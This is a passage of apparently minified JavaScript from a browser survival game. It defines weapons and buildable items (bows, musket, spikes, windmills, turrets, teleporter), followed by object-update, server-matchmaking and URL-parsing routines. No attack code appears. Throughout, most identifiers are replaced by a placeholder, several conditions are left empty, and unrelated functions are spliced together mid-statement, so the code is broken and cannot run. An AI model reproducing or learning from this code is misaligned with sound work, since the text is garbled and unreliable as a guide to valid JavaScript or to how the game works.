length: 130,
width: 210,
xOff: -8,
yOff: 53,
dmg: 45,
knock: .2,
spdMult: .82,
range: 142,
gather: 1,
speed: 700
}, {
id: 6,
type: 0,
age: 2,
name: "bat",
desc: "fast long range melee weapon",
src: "bat_1",
iPad: 1.3,
length: 110,
width: 180,
xOff: -8,
yOff: 53,
dmg: 20,
knock: .7,
range: 110,
gather: 1,
speed: 300
}, {
id: 7,
type: 0,
age: 2,
name: "daggers",
desc: "really fast short range weapon",
src: "dagger_1",
iPad: .8,
length: 110,
width: 110,
xOff: 18,
yOff: 0,
dmg: 20,
knock: .1,
range: 65,
gather: 1,
hitSlow: .1,
spdMult: 1.13,
speed: 100
}, {
id: 8,
type: 0,
age: 2,
name: "stick",
desc: "great for gathering but very weak",
src: "stick_1",
length: 140,
width: 140,
xOff: 3,
yOff: 24,
dmg: 1,
spdMult: 1,
range: 70,
gather: 7,
speed: 400
}, {
id: 9,
type: 1,
age: 6,
name: "hunting bow",
desc: "bow used for ranged combat and hunting",
src: "bow_1",
req: ["wood", 4],
length: 120,
width: 120,
xOff: -6,
yOff: 0,
projectile: 0,
spdMult: .75,
speed: 600
}, {
id: 10,
type: 1,
age: 6,
name: "great hammer",
desc: "hammer used for destroying structures",
src: "great_hammer_1",
length: 140,
width: 140,
xOff: -9,
yOff: 25,
dmg: 10,
spdMult: .88,
range: 75,
sDmg: 7.5,
gather: 1,
speed: 400
}, {
id: 11,
type: 1,
age: 6,
name: "wooden shield",
desc: "blocks projectiles and reduces melee damage",
src: "shield_1",
length: 120,
width: 120,
shield: .2,
xOff: 6,
yOff: 0,
spdMult: .7
}, {
id: 12,
type: 1,
age: 8,
pre: 9,
name: "crossbow",
desc: "deals more damage and has greater range",
src: "crossbow_1",
req: ["wood", 5],
aboveHand: !0,
armS: .75,
length: 120,
width: 120,
xOff: -4,
yOff: 0,
projectile: 2,
spdMult: .7,
speed: 700
}, {
id: 13,
type: 1,
age: 9,
pre: 12,
name: "repeater crossbow",
desc: "high firerate crossbow with reduced damage",
src: "crossbow_2",
req: ["wood", 10],
aboveHand: !0,
armS: .75,
length: 120,
width: 120,
xOff: -4,
yOff: 0,
projectile: 3,
spdMult: .7,
speed: 230
}, {
id: 14,
type: 1,
age: 6,
name: "mc grabby",
desc: "steals resources from enemies",
src: "grab_1",
length: 130,
width: 210,
xOff: -8,
yOff: 53,
dmg: 0,
steal: 250,
knock: .2,
spdMult: 1.05,
range: 125,
gather: 0,
speed: 700
}, {
id: 15,
type: 1,
age: 9,
pre: 12,
name: "musket",
desc: "slow firerate but high damage and range",
src: "musket_1",
req: ["stone", 10],
aboveHand: !0,
rec: .35,
armS: .6,
hndS: .3,
hndD: 1.6,
length: 205,
width: 205,
xOff: 25,
yOff: 0,
projectile: 5,
hideProjectile: !0,
spdMult: .6,
speed: 1500
}],
[Link] = [{
group: [Link][0],
name: "apple",
desc: "restores 20 health when consumed",
req: ["food", 10],
consume: function(e) {
return [Link](20, e)
},
scale: 30,
holdOffset: 15
}, {
age: 3,
group: [Link][0],
name: "cookie",
desc: "restores 40 health when consumed",
req: ["food", 15],
consume: function(e) {
return [Link](40, e)
},
scale: 27,
holdOffset: 15
}, {
age: 7,
group: [Link][0],
name: "cheese",
desc: "restores 30 health and another 50 over 5 seconds",
req: ["food", 25],
consume: function(e) {
return !!([Link](30, e) || [Link] < 100) &&
([Link] = -10,
[Link] = e,
[Link] = 5,
!0)
},
scale: 27,
holdOffset: 15
}, {
group: [Link][1],
name: "wood wall",
desc: "provides protection for your village",
req: ["wood", 10],
projDmg: !0,
health: 380,
scale: 50,
holdOffset: 20,
placeOffset: -5
}, {
age: 3,
group: [Link][1],
name: "stone wall",
desc: "provides improved protection for your village",
req: ["stone", 25],
health: 900,
scale: 50,
holdOffset: 20,
placeOffset: -5
}, {
age: 7,
pre: 1,
group: [Link][1],
name: "castle wall",
desc: "provides powerful protection for your village",
req: ["stone", 35],
health: 1500,
scale: 52,
holdOffset: 20,
placeOffset: -5
}, {
group: [Link][2],
name: "spikes",
desc: "damages enemies when they touch them",
req: ["wood", 20, "stone", 5],
health: 400,
dmg: 20,
scale: 49,
spritePadding: -23,
holdOffset: 8,
placeOffset: -5
}, {
age: 5,
group: [Link][2],
name: "greater spikes",
desc: "damages enemies when they touch them",
req: ["wood", 30, "stone", 10],
health: 500,
dmg: 35,
scale: 52,
spritePadding: -23,
holdOffset: 8,
placeOffset: -5
}, {
age: 9,
pre: 1,
group: [Link][2],
name: "poison spikes",
desc: "poisons enemies when they touch them",
req: ["wood", 35, "stone", 15],
health: 600,
dmg: 30,
pDmg: 5,
scale: 52,
spritePadding: -23,
holdOffset: 8,
placeOffset: -5
}, {
age: 9,
pre: 2,
group: [Link][2],
name: "spinning spikes",
desc: "damages enemies when they touch them",
req: ["wood", 30, "stone", 20],
health: 500,
dmg: 45,
turnSpeed: .003,
scale: 52,
spritePadding: -23,
holdOffset: 8,
placeOffset: -5
}, {
group: [Link][3],
name: "windmill",
desc: "generates gold over time",
req: ["wood", 50, "stone", 10],
health: 400,
pps: 1,
turnSpeed: .0016,
spritePadding: 25,
iconLineMult: 12,
scale: 45,
holdOffset: 20,
placeOffset: 5
}, {
age: 5,
pre: 1,
group: [Link][3],
name: "faster windmill",
desc: "generates more gold over time",
req: ["wood", 60, "stone", 20],
health: 500,
pps: 1.5,
turnSpeed: .0025,
spritePadding: 25,
iconLineMult: 12,
scale: 47,
holdOffset: 20,
placeOffset: 5
}, {
age: 8,
pre: 1,
group: [Link][3],
name: "power mill",
desc: "generates more gold over time",
req: ["wood", 100, "stone", 50],
health: 800,
pps: 2,
turnSpeed: .005,
spritePadding: 25,
iconLineMult: 12,
scale: 47,
holdOffset: 20,
placeOffset: 5
}, {
age: 5,
group: [Link][4],
type: 2,
name: "mine",
desc: "allows you to mine stone",
req: ["wood", 20, "stone", 100],
iconLineMult: 12,
scale: 65,
holdOffset: 20,
placeOffset: 0
}, {
age: 5,
group: [Link][11],
type: 0,
name: "sapling",
desc: "allows you to farm wood",
req: ["wood", 150],
iconLineMult: 12,
colDiv: .5,
scale: 110,
holdOffset: 50,
placeOffset: -15
}, {
age: 4,
group: [Link][5],
name: "pit trap",
desc: "pit that traps enemies if they walk over it",
req: ["wood", 30, "stone", 30],
trap: !0,
ignoreCollision: !0,
hideFromEnemy: !0,
health: 500,
colDiv: .2,
scale: 50,
holdOffset: 20,
placeOffset: -5
}, {
age: 4,
group: [Link][6],
name: "boost pad",
desc: "provides boost when stepped on",
req: ["stone", 20, "wood", 5],
ignoreCollision: !0,
boostSpeed: 1.5,
health: 150,
colDiv: .7,
scale: 45,
holdOffset: 20,
placeOffset: -5
}, {
age: 7,
group: [Link][7],
doUpdate: !0,
name: "turret",
desc: "defensive structure that shoots at enemies",
req: ["wood", 200, "stone", 150],
health: 800,
projectile: 1,
shootRange: 700,
shootRate: 2200,
scale: 43,
holdOffset: 20,
placeOffset: -5
}, {
age: 7,
group: [Link][8],
name: "platform",
desc: "platform to shoot over walls and cross over water",
req: ["wood", 20],
ignoreCollision: !0,
zIndex: 1,
health: 300,
scale: 43,
holdOffset: 20,
placeOffset: -5
}, {
age: 7,
group: [Link][9],
name: "healing pad",
desc: "standing on it will slowly heal you",
req: ["wood", 30, "food", 10],
ignoreCollision: !0,
healCol: 15,
health: 400,
colDiv: .7,
scale: 45,
holdOffset: 20,
placeOffset: -5
}, {
age: 9,
group: [Link][10],
name: "spawn pad",
desc: "you will spawn here when you die but it will dissapear",
req: ["wood", 100, "stone", 100],
health: 400,
ignoreCollision: !0,
spawnPoint: !0,
scale: 45,
holdOffset: 20,
placeOffset: -5
}, {
age: 7,
group: [Link][12],
name: "blocker",
desc: "blocks building in radius",
req: ["wood", 30, "stone", 25],
ignoreCollision: !0,
blocker: 300,
health: 400,
colDiv: .7,
scale: 45,
holdOffset: 20,
placeOffset: -5
}, {
age: 7,
group: [Link][13],
name: "teleporter",
desc: "teleports you to a random point on the map",
req: ["wood", 60, "stone", 60],
ignoreCollision: !0,
teleport: !0,
health: 200,
colDiv: .7,
scale: 45,
holdOffset: 20,
placeOffset: -5
}];
for (var n = 0; n < [Link]; ++n)
[Link][n].id = n,
[Link][n].pre && ([Link][n].pre = n -
[Link][n].pre)
}
, function(e, t) {
[Link] = {}
}
, function(e, t) {
var n = [Link]
, i = [Link]
, r = [Link]
, s = [Link]
, a = ([Link],
[Link]);
[Link] = function(e, t, o, c, l, h) {
var u, f;
[Link] = t,
[Link] = {},
[Link] = [];
var d = [Link] / [Link];
[Link] = function(e) {
for (var t = [Link]([Link], [Link](0, e.x)), n =
[Link]([Link], [Link](0, e.y)), i = 0; i < [Link]; ++i) {
u = i * d;
for (var r = 0; r < [Link]; ++r)
f = r * d,
t + [Link] >= u && t - [Link] <= u + d && n + [Link]
>= f && n - [Link] <= f + d && ([Link][i + "_" + r] || ([Link][i + "_" +
r] = []),
[Link] = 0,
[Link] = [Link] || 1,
[Link] = this),
![Link] || !o || [Link] && [Link] ||
([Link] = 5,
[Link] = 5,
[Link] = this),
[Link] && [Link] && ([Link] -= [Link] *
s(e),
[Link] -= [Link] *
a(e)),
[Link](-x * b, this, this)
}
[Link](i ? 1 : 0)
}
,
[Link] = function(e) {
for (var t = 0; t < [Link]; ++t)
[Link][f[t].id] && [Link](f[t]) && [Link](f[t].id,
"7", [Link], e ? 1 : 0, [Link])
}
;
var x = 0
, S = 0;
[Link] = function(e) {
[Link] > 0 && ([Link] -= e,
[Link] <= 0 ? ([Link] = 0,
[Link] = 0,
x = 0,
S = 0) : 0 == S ? (x +=
e / ([Link] * [Link]),
[Link] = 0,
[Link] = !1)),
a) {
for (var f = 0; f < [Link]; ++f)
![Link][e[f].id] && e[f].canSee(this) &&
([Link][e[f].id] = 1,
));
if (t && [Link](),
0 != [Link]) {
var o = [Link](s, [Link])
, c = [Link]([Link]() * o)
, l = a[c = [Link](c, [Link] - 1)]
, h = [Link]
, u = (c = [Link]([Link] / [Link]),
[Link] % [Link]);
return [Link]("Found server."),
[h, c, u]
}
[Link]("No open servers.")
}
,
[Link] = function(e, t, n) {
if (![Link]) {
var i = [Link](e, t);
null != i ? ([Link]("Connecting to server", i, "with game index",
n),
[Link][n].playerCount >= [Link] ?
[Link]("Server is already full.") :
([Link]([Link], [Link], [Link](e,
t, n, [Link])),
[Link] = i,
[Link] = n,
[Link] = {}),
this
}
var b = [Link](v);
if (b) {
var x = (b = b[0]).toLowerCase();
[Link] = x,
v = [Link]([Link])
}
if (n || b || [Link](/^\/\/[^@\/]+@[^@\/]+/)) {
var S = "//" === [Link](0, 2);
!S || b && m[b] || (v = [Link](2),
[Link] = !0)
}
if (!m[b] && (S || b && !y[b])) {
for (var T, I, E = -1, M = 0; M < [Link]; M++)
-1 !== (A = [Link](f[M])) && (-1 === E || A < E) && (E = A);
for (-1 !== (I = -1 === E ? [Link]("@") : [Link]("@",
E)) && (T = [Link](0, I),
v = [Link](I + 1),
[Link] = decodeURIComponent(T)),
E = -1,
M = 0; M < [Link]; M++) {
var A;
-1 !== (A = [Link](u[M])) && (-1 === E || A < E) && (E = A)
}
-1 === E && (E = [Link]),
[Link] = [Link](0, E),
v = [Link](E),
[Link](),
[Link] = [Link] || "";
var P = "[" === [Link][0] && "]" ===
[Link][[Link] - 1];
if (!P)
for (var B = [Link](/\./), C = (M = 0,
[Link]); M < C;
M++) {
var O = B[M];
if (O && ) {
for (var R = "", j = 0, _ = [Link]; j < _; j++)
[Link](j) > 127 ? R += "x" : R += O[j];
if () {
var U = [Link](0, M)
, D = [Link](M + 1)
, L = [Link](p);
L && ([Link](L[1]),
[Link](L[2])),
[Link] && (v = "/" + [Link](".") + v),
[Link] = [Link](".");
break
}
}
}
[Link] > 255 ? [Link] = "" : [Link] =
[Link](),
P || ([Link] = [Link]([Link]));
var F = [Link] ? ":" + [Link] : ""
, z = [Link] || "";
[Link] = z + F,
[Link] += [Link],
P && ([Link] = [Link](1,
[Link] - 2),
"/" !== v[0] && (v = "/" + v))
}
if (!g[x])
for (M = 0,
C = [Link]; M < C; M++) {
var H = h[M];
if (-1 !== [Link](H)) {
var V = encodeURIComponent(H);
V === H && (V = escape(H)),
v = [Link](H).join(V)
}
}
var q = [Link]("#");
-1 !== q && ([Link] = [Link](q),
v = [Link](0, q));
var Y = [Link]("?");
if (-1 !== Y ? ([Link] = [Link](Y),
[Link] = [Link](Y + 1),
t && ([Link] = [Link]([Link])),
v = [Link](0, Y)) : t && ([Link] = "",
[Link] = {}),
v && ([Link] = v),
y[x] && [Link] && ![Link] && ([Link] = "/"),
[Link] || [Link]) {
F = [Link] || "";
var W = [Link] || "";
[Link] = F + W
}
return [Link] = [Link](),
this
}
,
[Link] = function() {
var e = [Link] || "";
e && (e = (e = encodeURIComponent(e)).replace(/%3A/i, ":"),
e += "@");
var t = [Link] || ""
, n = [Link] || ""
, i = [Link] || ""
, s = !1
, a = "";
[Link] ? s = e + [Link] : [Link] && (s = e + (-1 ===
[Link](":") ? [Link] : "[" + [Link] + "]"),
[Link] && (s += ":"
+ [Link])),
[Link] && [Link]([Link]) &&
[Link]([Link]).length && (a = [Link]([Link]));
var o = [Link] || a && "?" + a || "";
return t && ":" !== [Link](-1) && (t += ":"),
[Link] || (!t || y[t]) && !1 !== s ? (s = "//" + (s || ""),
n && "/" !== [Link](0)
&& (n = "/" + n)) : s || (s = ""),
i && "#" !== [Link](0) && (i = "#" + i),
o && "?" !== [Link](0) && (o = "?" + o),
t + s + (n = [Link](/[?#]/g, (function(e) {
return encodeURIComponent(e)
}
))) + (o = [Link]("#", "%23")) +
i
}
,
[Link] = function(e) {
return [Link](v(e, !1, !0)).format()
}
,
[Link] = function(e) {
if ([Link](e)) {
var t = new s;
[Link](e, !1, !0),
e = t
}
for (var n = new s, i = [Link](this), a = 0; a < [Link]; a++) {
var o = i[a];
n[o] = this[o]
}
if ([Link] = [Link],
"" === [Link])
return [Link] = [Link](),
n;
if ([Link] && ![Link]) {
for (var c = [Link](e), l = 0; l < [Link]; l++) {
var h = c[l];
"protocol" !== h && (n[h] = e[h])
}
return y[[Link]] && [Link] && ![Link] && ([Link] =
[Link] = "/"),
[Link] = [Link](),
n
}
if ([Link] && [Link] !== [Link]) {
if (!y[[Link]]) {
for (var u = [Link](e), f = 0; f < [Link]; f++) {
var d = u[f];
n[d] = e[d]
}
return [Link] = [Link](),
n
}
if ([Link] = [Link],
[Link] || m[[Link]])
[Link] = [Link];
else {
for (var p = ([Link] || "").split("/"); [Link] && !([Link]
= [Link]()); )
;
[Link] || ([Link] = ""),
[Link] || ([Link] = ""),
"" !== p[0] && [Link](""),
[Link] < 2 && [Link](""),
[Link] = [Link]("/")
}
if ([Link] = [Link],
[Link] = [Link],
[Link] = [Link] || "",
[Link] = [Link],
[Link] = [Link] || [Link],
[Link] = [Link],
[Link] || [Link]) {
var g = [Link] || ""
, k = [Link] || "";
[Link] = g + k
}
return [Link] = [Link] || [Link],
[Link] = [Link](),
n
}
var v = [Link] && "/" === [Link](0)
, w = [Link] || [Link] && "/" === [Link](0)
, b = w || v || [Link] && [Link]
, x = b
, S = [Link] && [Link]("/") || []
, T = (p = [Link] && [Link]("/") || [],
[Link] && !y[[Link]]);
if (T && ([Link] = "",
[Link] = null,
[Link] && ("" === S[0] ? S[0] = [Link] : [Link]([Link])),
[Link] = "",
[Link] && ([Link] = null,
[Link] = null,
[Link] && ("" === p[0] ? p[0] = [Link] :
[Link]([Link])),
[Link] = null),
b = b && ("" === p[0] || "" === S[0])),
w)
[Link] = [Link] || "" === [Link] ? [Link] : [Link],
[Link] = [Link] || "" === [Link] ? [Link] :
[Link],
[Link] = [Link],
[Link] = [Link],
S = p;
else if ([Link])
S || (S = []),
[Link](),
S = [Link](p),
[Link] = [Link],
[Link] = [Link];
else if ()
return T && ([Link] = [Link] = [Link](),
(P = !!([Link] && [Link]("@") > 0) &&
[Link]("@")) && ([Link] = [Link](),
[Link] = [Link] = [Link]())),
[Link] = [Link],
[Link] = [Link],
[Link]([Link]) && [Link]([Link]) || ([Link] =
([Link] ? [Link] : "") + ([Link] ? [Link] : "")),
[Link] = [Link](),
n;
if (![Link])
return [Link] = null,
[Link] ? [Link] = "/" + [Link] : [Link] = null,
[Link] = [Link](),
n;
for (var I = [Link](-1)[0], E = ([Link] || [Link] || [Link] > 1) &&
("." === I || ".." === I) || "" === I, M = 0, A = [Link]; A >= 0; A--)
"." === (I = S[A]) ? [Link](A, 1) : ".." === I ? ([Link](A, 1),
M++) : M &&
([Link](A, 1),
M--);
if (!b && !x)
for (; M--; M)
[Link]("..");
!b || "" === S[0] || S[0] && "/" === S[0].charAt(0) || [Link](""),
E && "/" !== [Link]("/").substr(-1) && [Link]("");
var P, B = "" === S[0] || S[0] && "/" === S[0].charAt(0);
return T && ([Link] = [Link] = B ? "" : [Link] ? [Link]() : "",
(P = !!([Link] && [Link]("@") > 0) &&
[Link]("@")) && ([Link] = [Link](),
[Link] += .6 * [Link](I),
[Link] += .6 * [Link](I),
[Link] = null,
[Link] = null,
[Link] = 3e3,
[Link] = 0),
this.y - P < 0 ? (this.y = P,
[Link] = 0) : this.y + P > [Link]
&& (this.y = [Link] - P,
[Link] = 0)
}
}
,
[Link] = function(e) {
if (!e)
return !1;
if ([Link] && [Link] && [Link] >=
[Link])
return !1;
var t = [Link](e.x - this.x) - [Link]
, n = [Link](e.y - this.y) - [Link];
return t <= [Link] / 2 * 1.3 && n <= [Link] / 2
* 1.3
}
;
var h = 0
, u = 0;
[Link] = function(e) {
[Link] > 0 && ([Link] -= e,
[Link] <= 0 ? ([Link] = 0,
[Link] = 0,
h = 0,
u = 0) : 0 == u ? (h +=
e / ([Link] * [Link]),
[Link] = 0,